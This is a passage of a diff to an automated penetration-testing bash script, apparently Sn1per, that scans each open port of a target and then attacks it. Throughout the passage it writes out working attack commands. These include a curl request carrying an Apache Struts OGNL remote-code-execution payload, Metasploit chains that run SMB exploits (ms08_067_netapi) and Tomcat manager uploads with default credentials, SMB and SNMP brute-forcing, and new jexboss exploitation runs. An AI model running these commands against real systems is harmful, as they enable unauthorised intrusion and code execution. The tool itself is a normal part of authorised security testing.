auxiliary/scanner/smb/smb_enumusers; run; use auxiliary/scanner/smb/smb_enumusers_domain; run; use auxiliary/scanner/smb/smb_login; run; use auxiliary/scanner/smb/smb_lookupsid; run; use auxiliary/scanner/smb/smb_uninit_cred; run; use auxiliary/scanner/smb/smb_version; run; use exploit/linux/samba/chain_reply; run; use windows/smb/ms08_067_netapi; run; exit;" fi @@ -1706,7 +1827,7 @@ then else echo -e "$OKORANGE + -- --=[Port 161 opened... running tests...$RESET" for a in `cat /usr/share/brutex/wordlists/snmp-strings.txt`; do snmpwalk $TARGET -c $a; done; - nmap -sU -p 161 --script=snmp* $TARGET + nmap -sU -p 161 --script=--script=snmp-brute,snmp-hh3c-logins,snmp-info,snmp-interfaces,snmp-ios-config,snmp-netstat,snmp-processes,snmp-sysdescr,snmp-win32-services,snmp-win32-shares,snmp-win32-software,snmp-win32-users $TARGET fi if [ -z "$port_162" ]; @@ -1715,7 +1836,7 @@ then else echo -e "$OKORANGE + -- --=[Port 162 opened... running tests...$RESET" for a in `cat /usr/share/brutex/wordlists/snmp-strings.txt`; do snmpwalk $TARGET -c $a; done; - nmap -A -p 162 -Pn --script=snmp* $TARGET + nmap -A -p 162 -Pn --script=--script=snmp-brute,snmp-hh3c-logins,snmp-info,snmp-interfaces,snmp-ios-config,snmp-netstat,snmp-processes,snmp-sysdescr,snmp-win32-services,snmp-win32-shares,snmp-win32-software,snmp-win32-users $TARGET fi if [ -z "$port_389" ]; @@ -1740,23 +1861,14 @@ else echo -e "$OKRED GATHERING HTTP INFO $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" whatweb https://$TARGET - echo "" echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING SSL/TLS INFO $RESET" + echo -e "$OKRED CHECKING HTTP HEADERS AND METHODS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" - sslyze --resum --certinfo=basic --compression --reneg --sslv2 --sslv3 --hide_rejected_ciphers $TARGET - sslscan --no-failed $TARGET - echo "" - if [ $DISTRO == "blackarch" ]; then - massbleed $TARGET port 443 - else - cd $PLUGINS_DIR/MassBleed - ./massbleed $TARGET port 443 - fi - cd $INSTALL_DIR + xsstracer $TARGET 443 echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED CHECKING HTTP HEADERS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" + curl --connect-timeout 1 -I -s -R https://$TARGET >> $LOOT_DIR/web/headers-https-$TARGET.txt echo -e "$OKBLUE+ -- --=[Checking if X-Content options are enabled on $TARGET...$RESET $OKORANGE" curl -s --insecure -I https://$TARGET | egrep -i 'X-Content' | tail -n 10 echo "" @@ -1808,12 +1920,18 @@ else echo "" echo -e "$RESET" echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED GATHERING SSL/TLS INFO $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + sslyze --resum --certinfo=basic --compression --reneg --sslv2 --sslv3 --hide_rejected_ciphers $TARGET + sslscan --no-failed $TARGET + echo "" + echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED SAVING SCREENSHOTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" if [ ${DISTRO} == "blackarch" ]; then - /bin/CutyCapt --url=https://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg + /bin/CutyCapt --url=https://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg 2> /dev/null else - cutycapt --url=https://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg + cutycapt --url=https://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg 2> /dev/null fi echo -e "$OKRED[+]$RESET Screenshot saved to $LOOT_DIR/screenshots/$TARGET-port443.jpg" @@ -1835,9 +1953,9 @@ else echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED RUNNING WORDPRESS VULNERABILITY SCAN $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" - wpscan --url https://$TARGET --batch + wpscan --url https://$TARGET --batch --disable-tls-checks echo "" - wpscan --url https://$TARGET/wordpress/ --batch + wpscan --url https://$TARGET/wordpress/ --batch --disable-tls-checks echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED RUNNING CMSMAP $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" @@ -1874,11 +1992,15 @@ else echo -e "$OKRED RUNNING APACHE JAKARTA RCE EXPLOIT $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" curl -s -H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" https://$TARGET | head -n 1 + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING JEXBOSS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python /usr/share/sniper/plugins/jexboss/jexboss.py -u https://$TARGET fi if [ $SCAN_TYPE == "DOMAIN" ] && [ $OSINT == "1" ]; then if [ -z $GHDB ]; then - if [ $GOOHAK == "0" ]; then + if [ $OSINT == "0" ]; then echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED SKIPPING GOOGLE HACKING QUERIES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" @@ -1908,7 +2030,7 @@ else enum4linux $TARGET python $SAMRDUMP $TARGET nbtscan $TARGET - nmap -A -sV -Pn -T5 -p445 --script=smb-server-stats --script=smb-ls --script=smb-enum-domains --script=smbv2-enabled --script=smb-psexec --script=smb-enum-groups --script=smb-enum-processes --script=smb-brute --script=smb-print-text --script=smb-security-mode --script=smb-os-discovery --script=smb-enum-sessions --script=smb-mbenum --script=smb-enum-users --script=smb-enum-shares --script=smb-system-info --script=smb-vuln-ms10-054 --script=smb-vuln-ms10-061 $TARGET + nmap -A -sV -Pn -T5 -p445 --script=smb-server-stats --script=smb-ls --script=smb-enum-domains --script=smb-protocols --script=smb-psexec --script=smb-enum-groups --script=smb-enum-processes --script=smb-brute --script=smb-print-text --script=smb-security-mode --script=smb-os-discovery --script=smb-enum-sessions --script=smb-mbenum --script=smb-enum-users --script=smb-enum-shares --script=smb-system-info --script=smb-vuln-ms10-054 --script=smb-vuln-ms10-061 $TARGET msfconsole -x "use auxiliary/scanner/smb/pipe_auditor; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; run; use auxiliary/scanner/smb/pipe_dcerpc_auditor; run; use auxiliary/scanner/smb/psexec_loggedin_users; run; use auxiliary/scanner/smb/smb2; run; use auxiliary/scanner/smb/smb_enum_gpp; run; use auxiliary/scanner/smb/smb_enumshares; run; use auxiliary/scanner/smb/smb_enumusers; run; use auxiliary/scanner/smb/smb_enumusers_domain; run; use auxiliary/scanner/smb/smb_login; run; use auxiliary/scanner/smb/smb_lookupsid; run; use auxiliary/scanner/smb/smb_uninit_cred; run; use auxiliary/scanner/smb/smb_version; run; use exploit/linux/samba/chain_reply; run; use windows/smb/ms08_067_netapi; run; exit;" fi @@ -2048,14 +2170,11 @@ else xsstracer $TARGET 4443 sslscan --no-failed $TARGET:4443 sslyze --resum --certinfo=basic --compression --reneg --sslv2 --sslv3 --hide_rejected_ciphers $TARGET:4443 - cd $PLUGINS_DIR/MassBleed - ./massbleed $TARGET port 4443 - cd $INSTALL_DIR nikto -h https://$TARGET:4443 if [ ${DISTRO} == "blackarch" ]; then - /bin/CutyCapt --url=https://$TARGET:4443 --out=$LOOT_DIR/screenshots/$TARGET-port4443.jpg + /bin/CutyCapt --url=https://$TARGET:4443 --out=$LOOT_DIR/screenshots/$TARGET-port4443.jpg 2> /dev/null else - cutycapt --url=https://$TARGET:4443 --out=$LOOT_DIR/screenshots/$TARGET-port4443.jpg + cutycapt --url=https://$TARGET:4443 --out=$LOOT_DIR/screenshots/$TARGET-port4443.jpg 2> /dev/null fi nmap -sV -Pn -A -p 4443 -T5 --script=*proxy* $TARGET fi @@ -2122,13 +2241,17 @@ else echo "" xsstracer $TARGET 8000 cd .. - nikto -h http://$TARGET:8000 + #nikto -h http://$TARGET:8000 if [ ${DISTRO} == "blackarch" ]; then - /bin/CutyCapt --url=http://$TARGET:8000 --out=$LOOT_DIR/screenshots/$TARGET-port8000.jpg + /bin/CutyCapt --url=http://$TARGET:8000 --out=$LOOT_DIR/screenshots/$TARGET-port8000.jpg 2> /dev/null else - cutycapt --url=http://$TARGET:8000 --out=$LOOT_DIR/screenshots/$TARGET-port8000.jpg + cutycapt --url=http://$TARGET:8000 --out=$LOOT_DIR/screenshots/$TARGET-port8000.jpg 2> /dev/null fi nmap -sV -Pn --script=/usr/share/nmap/scripts/http-vuln-cve2017-5638.nse -A -p 8000 -T5 $TARGET + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING JEXBOSS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python /usr/share/sniper/plugins/jexboss/jexboss.py -u http://$TARGET:8000 fi if [ -z "$port_8100" ]; @@ -2142,16 +2265,17 @@ else echo "" xsstracer $TARGET 8100 sslscan --no-failed $TARGET:8100 - cd $PLUGINS_DIR/MassBleed - ./massbleed $TARGET port 8100 - cd $INSTALL_DIR - nikto -h http://$TARGET:8100 + #nikto -h http://$TARGET:8100 if [ ${DISTRO} == "blackarch" ]; then - /bin/CutyCapt --url=http://$TARGET:8100 --out=$LOOT_DIR/screenshots/$TARGET-port8100.jpg + /bin/CutyCapt --url=http://$TARGET:8100 --out=$LOOT_DIR/screenshots/$TARGET-port8100.jpg 2> /dev/null else - cutycapt --url=http://$TARGET:8100 --out=$LOOT_DIR/screenshots/$TARGET-port8100.jpg + cutycapt --url=http://$TARGET:8100 --out=$LOOT_DIR/screenshots/$TARGET-port8100.jpg 2> /dev/null fi nmap -sV -Pn --script=/usr/share/nmap/scripts/http-vuln-cve2017-5638.nse -A -p 8100 -T5 $TARGET + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING JEXBOSS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python /usr/share/sniper/plugins/jexboss/jexboss.py -u http://$TARGET:8100 fi if [ -z "$port_8080" ]; @@ -2165,19 +2289,20 @@ else echo "" xsstracer $TARGET 8080 sslscan --no-failed $TARGET:8080 - cd $PLUGINS_DIR/MassBleed - ./massbleed $TARGET port 8080 - cd $INSTALL_DIR - nikto -h http://$TARGET:8080 + #nikto -h http://$TARGET:8080 if [ ${DISTRO} == "blackarch" ]; then - /bin/CutyCapt --url=http://$TARGET:8080 --out=$LOOT_DIR/screenshots/$TARGET-port8080.jpg + /bin/CutyCapt --url=http://$TARGET:8080 --out=$LOOT_DIR/screenshots/$TARGET-port8080.jpg 2> /dev/null else - cutycapt --url=http://$TARGET:8080 --out=$LOOT_DIR/screenshots/$TARGET-port8080.jpg + cutycapt --url=http://$TARGET:8080 --out=$LOOT_DIR/screenshots/$TARGET-port8080.jpg 2> /dev/null fi nmap -sV -Pn --script=/usr/share/nmap/scripts/http-vuln-cve2017-5638.nse -A -p 8080 -T5 --script=*proxy* $TARGET msfconsole -x "use admin/http/jboss_bshdeployer; setg RHOST "$TARGET"; run; use admin/http/tomcat_administration; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; setg RPORT 8080; run; use admin/http/tomcat_utf8_traversal; run; use scanner/http/tomcat_enum; run; use scanner/http/tomcat_mgr_login; run; use multi/http/tomcat_mgr_deploy; run; use multi/http/tomcat_mgr_upload; set USERNAME tomcat; set PASSWORD tomcat; run; exit;" # EXPERIMENTAL - APACHE STRUTS RCE EXPLOIT # msfconsole -x "use exploit/linux/http/apache_struts_rce_2016-3081; setg RHOSTS "$TARGET"; set PAYLOAD linux/x86/read_file; set PATH /etc/passwd; run;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING JEXBOSS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python /usr/share/sniper/plugins/jexboss/jexboss.py -u http://$TARGET:8080 fi if [ -z "$port_8180" ]; @@ -2192,14 +2317,11 @@ else xsstracer $TARGET 8180 sslscan --no-failed $TARGET:8180 sslyze --resum --certinfo=basic --compression --reneg --sslv2 --sslv3 --hide_rejected_ciphers $TARGET:8180 - cd $PLUGINS_DIR/MassBleed - ./massbleed $TARGET port 8180 - cd $INSTALL_DIR - nikto -h http://$TARGET:8180 + #nikto -h http://$TARGET:8180 if [ ${DISTRO} == "blackarch" ]; then - /bin/CutyCapt --url=http://$TARGET:8180 --out=$LOOT_DIR/screenshots/$TARGET-port8180.jpg + /bin/CutyCapt --url=http://$TARGET:8180 --out=$LOOT_DIR/screenshots/$TARGET-port8180.jpg 2> /dev/null else - cutycapt --url=http://$TARGET:8180 --out=$LOOT_DIR/screenshots/$TARGET-port8180.jpg + cutycapt --url=http://$TARGET:8180 --out=$LOOT_DIR/screenshots/$TARGET-port8180.jpg 2> /dev/null fi nmap -sV -Pn --script=/usr/share/nmap/scripts/http-vuln-cve2017-5638.nse -p 8180 -T5 --script=*proxy* $TARGET echo -e "${OKGREEN}====================================================================================${RESET}" @@ -2210,6 +2332,10 @@ else echo -e "$OKRED RUNING APACHE TOMCAT EXPLOITS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" msfconsole -x "use admin/http/tomcat_administration; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; setg RPORT 8180; run; use admin/http/tomcat_utf8_traversal; run; use scanner/http/tomcat_enum; run; use scanner/http/tomcat_mgr_login; run; use multi/http/tomcat_mgr_deploy; run; use multi/http/tomcat_mgr_upload; set USERNAME tomcat; set PASSWORD tomcat; run; exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING JEXBOSS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python /usr/share/sniper/plugins/jexboss/jexboss.py -u http://$TARGET:8180 fi if [ -z "$port_8443" ]; @@ -2224,16 +2350,17 @@ else xsstracer $TARGET 8443 sslscan --no-failed $TARGET:8443 sslyze --resum --certinfo=basic --compression --reneg --sslv2 --sslv3 --hide_rejected_ciphers $TARGET:8443 - cd $PLUGINS_DIR/MassBleed - ./massbleed $TARGET port 8443 - cd $INSTALL_DIR - nikto -h https://$TARGET:8443 + #nikto -h https://$TARGET:8443 if [ ${DISTRO} == "blackarch" ]; then - /bin/CutyCapt --url=https://$TARGET:8443 --out=$LOOT_DIR/screenshots/$TARGET-port8443.jpg + /bin/CutyCapt --url=https://$TARGET:8443 --out=$LOOT_DIR/screenshots/$TARGET-port8443.jpg 2> /dev/null else - cutycapt --url=https://$TARGET:8443 --out=$LOOT_DIR/screenshots/$TARGET-port8443.jpg + cutycapt --url=https://$TARGET:8443 --out=$LOOT_DIR/screenshots/$TARGET-port8443.jpg 2> /dev/null fi nmap -sV -Pn --script=/usr/share/nmap/scripts/http-vuln-cve2017-5638.nse -A -p 8443 -T5 --script=*proxy* $TARGET + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING JEXBOSS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python /usr/share/sniper/plugins/jexboss/jexboss.py -u https://$TARGET:8443 fi if [ -z "$port_8888" ]; @@ -2246,13 +2373,17 @@ else whatweb http://$TARGET:8888 echo "" xsstracer $TARGET 8888 - nikto -h http://$TARGET:8888 + #nikto -h http://$TARGET:8888 if [ ${DISTRO} == "blackarch" ]; then - /bin/CutyCapt --url=https://$TARGET:8888 --out=$LOOT_DIR/screenshots/$TARGET-port8888.jpg + /bin/CutyCapt --url=https://$TARGET:8888 --out=$LOOT_DIR/screenshots/$TARGET-port8888.jpg 2> /dev/null else - cutycapt --url=https://$TARGET:8888 --out=$LOOT_DIR/screenshots/$TARGET-port8888.jpg + cutycapt --url=https://$TARGET:8888 --out=$LOOT_DIR/screenshots/$TARGET-port8888.jpg 2> /dev/null fi nmap -sV -Pn --script=/usr/share/nmap/scripts/http-vuln-cve2017-5638.nse -A -p 8888 -T5 $TARGET + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING JEXBOSS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python /usr/share/sniper/plugins/jexboss/jexboss.py -u http://$TARGET:8888 fi if [ -z "$port_10000" ]; @@ -2312,7 +2443,7 @@ then echo -e "$OKRED + -- --=[Port 49152 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 49152 opened... running tests...$RESET" - $SUPER_MICRO_SCAN $TARGET + bash $SUPER_MICRO_SCAN $TARGET fi echo -e "${OKGREEN}====================================================================================${RESET}" @@ -2324,6 +2455,7 @@ else cd $PLUGINS_DIR/yasuo ruby yasuo.rb -r $TARGET -b all fi + cd $SNIPER_DIR if [ "$FULLNMAPSCAN" = "0" ]; then @@ -2361,4 +2493,9 @@ rm -f $LOOT_DIR/.fuse_* 2> /dev/null echo -e "${OKGREEN}====================================================================================${RESET}" echo -e "$OKRED SCAN COMPLETE! $RESET" echo -e "${OKGREEN}====================================================================================${RESET}" -exit 0 + +if [ "$LOOT" = "1" ] && [ -z "$NOLOOT" ]; then + loot +fi + +exit 0 \ No newline at end of file